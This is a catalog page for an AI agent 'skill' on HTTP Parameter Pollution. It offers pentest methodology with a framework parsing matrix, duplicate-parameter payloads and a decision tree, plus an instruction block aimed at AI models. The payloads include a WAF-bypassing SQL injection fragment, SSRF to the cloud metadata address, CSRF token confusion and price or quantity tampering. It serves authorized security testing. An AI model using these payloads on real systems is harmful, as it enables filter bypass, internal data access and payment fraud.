http-parameter-pollution
yaklang/hack-skills
Exploit HTTP Parameter Pollution to bypass WAFs, SSRF checks, and business logic by leveraging parser disagreements across request hops.
What is http-parameter-pollution?
HTTP Parameter Pollution (HPP) tests how duplicate query/body parameters are parsed differently by WAFs, proxies, and application frameworks. Use it when security checks and business logic disagree on which value wins, enabling WAF bypass, SSRF, CSRF token confusion, or payment logic abuse.
- Fingerprint parser behavior across CDN/WAF/proxy/app layers using duplicate parameter tests
- Identify first-vs-last-value interpretation differences in PHP, ASP.NET, JSP, Python, Node.js, Go, Ruby, and Perl frameworks
- Test array-style parameters, nested bracket keys, and JSON duplicate key handling
- Construct payloads that split interpretation: validator reads one value, action reads another
- Support POST body variants including application/x-www-form-urlencoded and multipart/form-data
How to install http-parameter-pollution
npx skills add https://github.com/yaklang/hack-skills --skill http-parameter-pollutionHow to use http-parameter-pollution
- 1.Identify the target parameter and baseline request structure (GET query string or POST body)
- 2.Send a simple duplicate parameter test (e.g., id=1&id=2) and observe which value the application uses
- 3.Fingerprint each layer (WAF, proxy, origin app) by comparing responses and logs to determine first/last/join/array behavior
- 4.Consult the Server Behavior Matrix to predict how your target framework handles duplicates
- 5.Design attack payloads using the Attack Scenarios section: WAF bypass, SSRF, CSRF, or logic abuse
- 6.Test both parameter orders (a=1&a=2 and a=2&a=1) since some parsers are order-sensitive
- 7.For POST requests, test both application/x-www-form-urlencoded and multipart/form-data variants
- 8.Validate findings in a controlled environment before high-impact requests (payments, account changes)
Use cases
- Bypass WAF SQL injection filters by sending benign value first, malicious value second (or vice versa)
- Exploit SSRF validators that check first URL while fetcher uses second URL (e.g., allowed.cdn vs 169.254.169.254)
- Confuse CSRF token validation by duplicating tokens so different parsers accept different copies
- Manipulate payment/quantity logic by sending conflicting amounts across parser boundaries
- Detect and exploit JSON duplicate key handling where last-key-wins differs from app expectations
- Security researchers testing WAF effectiveness and parser edge cases
- Penetration testers assessing multi-layer request handling (CDN, proxy, app)
- Bug bounty hunters looking for business logic and authorization bypasses
- DevSecOps engineers validating parser consistency across infrastructure layers
http-parameter-pollution FAQ
HTTP allows duplicate parameter names; each layer (WAF, proxy, app) may interpret them differently. A WAF might see the first value while the backend app uses the last, creating a security gap.
Consult the Server Behavior Matrix in Section 1 for typical defaults (e.g., PHP uses last, JSP uses first, Express uses array). Always test with a=1&a=2 in your actual environment to confirm, as middleware and custom parsers override defaults.
Yes, if the WAF and origin app disagree on parsing. For example, a WAF on IIS might see comma-joined values (a=1,2) while a PHP backend sees only the last value (a=2), allowing malicious payloads to slip through.
No. HTTP Parameter Pollution specifically targets query strings and POST bodies where duplicate keys trigger different parsing. Related techniques exist for headers, cookies, and JSON, but HPP focuses on request parameters.
Start with the Quick Start payloads (id=1&id=2, id=1&id=1%20OR%201=1) and observe the response. Then use the Decision Tree to pick your attack template (WAF bypass, SSRF, CSRF, or logic abuse) based on what you discover.
Full instructions (SKILL.md)
Source of truth, from yaklang/hack-skills.
name: http-parameter-pollution description: >- HTTP Parameter Pollution (HPP): duplicate query/body keys parsed differently by servers, proxies, WAFs, and app frameworks. Use when filters and application layers disagree on which value wins, enabling bypass, SSRF second URL, logic abuse, or CSRF token confusion.
SKILL: HTTP Parameter Pollution (HPP)
AI LOAD INSTRUCTION: Model the full request path: browser → CDN/WAF → reverse proxy → app framework → business code. Duplicate keys (
a=1&a=2) are not an error at HTTP level; each hop may pick first, last, join, or array-ify. Test HPP when WAF and app disagree, or when internal HTTP clients rebuild query strings. Routing note: when the same parameter appears multiple times, or WAF/backend stacks differ, use the Section 1 matrix to test first/last/merge assumptions, then design Section 3 scenario chains.
0. QUICK START
Hypothesis: the security check reads one occurrence of a parameter while the action reads another.
First-pass payloads
id=1&id=2
id=1&id=1%20OR%201=1
url=https://legit.example&id=https://evil.example
amount=1&amount=9999
csrf=TOKEN_A&csrf=TOKEN_B
user=alice&user=admin
Body variants (repeat for POST)
application/x-www-form-urlencoded
id=1&id=2
multipart/form-data
------boundary
Content-Disposition: form-data; name="id"
1
------boundary
Content-Disposition: form-data; name="id"
2
Quick methodology
- Fingerprint front stack (CDN/WAF) vs origin (language/framework) using baseline
a=1&a=2. - Send both orders:
a=1&a=2anda=2&a=1(some parsers are order-sensitive). - If JSON: test duplicate keys and Content-Type confusion (see Section 2).
1. SERVER BEHAVIOR MATRIX
Typical defaults — always confirm; middleware and custom parsers override these.
| Technology | Behavior | Example: a=1&a=2 |
|---|---|---|
PHP / Apache ($_GET) | Last occurrence | a=2 |
| ASP.NET / IIS | Often comma-joined (all) | a=1,2 |
| JSP / Tomcat (servlet param) | First occurrence | a=1 |
Python / Django (QueryDict) | Last occurrence | a=2 |
Python / Flask (request.args) | First occurrence | a=1 |
Node.js / Express (req.query) | Array of values | a=['1','2'] (shape may vary by parser version) |
| Perl / CGI | First occurrence | a=1 |
| Ruby / Rack (Rack::Utils) | Last occurrence | a=2 |
Go net/http (ParseQuery) | First occurrence | a=1 |
Why it matters: a WAF on IIS might see 1,2 while PHP backend receives 2 only — or the reverse if a proxy normalizes.
2. PAYLOAD PATTERNS
2.1 Basic duplicate key
GET /api?q=safe&q=evil HTTP/1.1
2.2 Array-style (PHP / some frameworks)
GET /api?id[]=1&id[]=2 HTTP/1.1
2.3 Mixed array + scalar
GET /api?item[]=a&item=b HTTP/1.1
2.4 Encoded ampersand (parser differential)
# Literal & inside a value vs new pair — depends on decoder
param=value1%26other=value2
param=value1&other=value2
2.5 Nested / bracket keys
GET /api?user[name]=a&user[role]=user&user[role]=admin HTTP/1.1
2.6 JSON duplicate keys
{"test":"user","test":"admin"}
Many parsers keep last key; some keep first. JavaScript JSON.parse keeps the last duplicate key.
3. ATTACK SCENARIOS
3.1 HPP + WAF bypass
Pattern: WAF inspects first value; application uses last.
id=1&id=1%20UNION%20SELECT%20...
Also try: benign value in JSON field duplicated in query string, if gateway merges sources differently.
3.2 HPP + SSRF
Pattern: validator reads safe URL; fetcher reads internal/evil URL.
url=https://allowed.cdn.example/&url=http://169.254.169.254/
Confirm which component (library vs app) consumes which occurrence.
3.3 HPP + CSRF
Pattern: duplicate anti-CSRF token so one copy satisfies parser A and another satisfies parser B.
csrf=LEGIT&csrf=IGNORED_OR_ALT
Use only in authorized CSRF assessments with a clear state-changing target.
3.4 HPP + business logic (e.g. payment)
amount=1&amount=5000
quantity=1&quantity=-1
price=9.99&price=0.01
Pair with race conditions or server-side rounding for higher impact; HPP alone often needs a split interpretation across layers.
4. TOOLS
| Tool | How to use |
|---|---|
| Burp Suite | Repeater: duplicate keys in raw query/body; Param Miner / extensions for hidden params; compare responses for first vs last interpretation |
| OWASP ZAP | Manual Request Editor; Automated Scan may not deeply fuzz HPP — prefer manual variants |
| Custom scripts | Build exact raw HTTP (preserve ordering) — some clients normalize duplicates |
Tip: log raw query strings at the app if you control a test lab; some frameworks expose only the “winning” value while logs show the full string.
5. DECISION TREE
+-------------------------+
| Duplicate param name |
| same request |
+------------+------------+
|
+------------------+------------------+
| |
+------v------+ +------v------+
| Single app | | WAF / CDN / |
| layer only | | proxy chain |
+------+------+ +------+------+
| |
+---------v---------+ +---------v---------+
| Read framework | | Map each hop: |
| docs + test | | first/last/join/ |
| a=1&a=2 vs swap | | array |
+---------+---------+ +---------+---------+
| |
+------------------+------------------+
|
+------v------+
| Pick attack |
| template |
+------+------+
|
+-----------+-----------+-----------+-----------+
| | | | |
+----v----+ +----v----+ +----v----+ +----v----+ +----v----+
| WAF vs | | SSRF | | CSRF | | Logic | | JSON |
| app | | split | | token | | numeric | | dup key |
| value | | URL | | confuse | | fields | | parsers |
+---------+ +---------+ +---------+ +---------+ +---------+
Safety & scope: HPP testing can change server state (payments, account settings). Run only where explicitly authorized, with scoped accounts, and document parser behavior before high-impact requests.
Related skills
More from yaklang/hack-skills and the wider catalog.

http2-specific-attacks
Exploit HTTP/2 protocol-specific vulnerabilities: h2c smuggling, pseudo-header injection, HPACK attacks, and multiplexing abuse.

idor-broken-object-authorization
IDOR and broken object-level authorization testing playbook for API security.

injection-checking
Route injection vulnerabilities to the correct testing skill based on interpreter type.

insecure-source-code-management
Detect and recover exposed version control metadata (.git, .svn, .hg) and backup artifacts during authorized security testing.

ios-pentesting-tricks
iOS pentesting playbook for keychain extraction, URL scheme hijacking, Universal Links exploitation, and runtime manipulation.

jndi-injection
JNDI injection attack playbook covering Log4Shell, RMI/LDAP vectors, JDK bypasses, and tooling.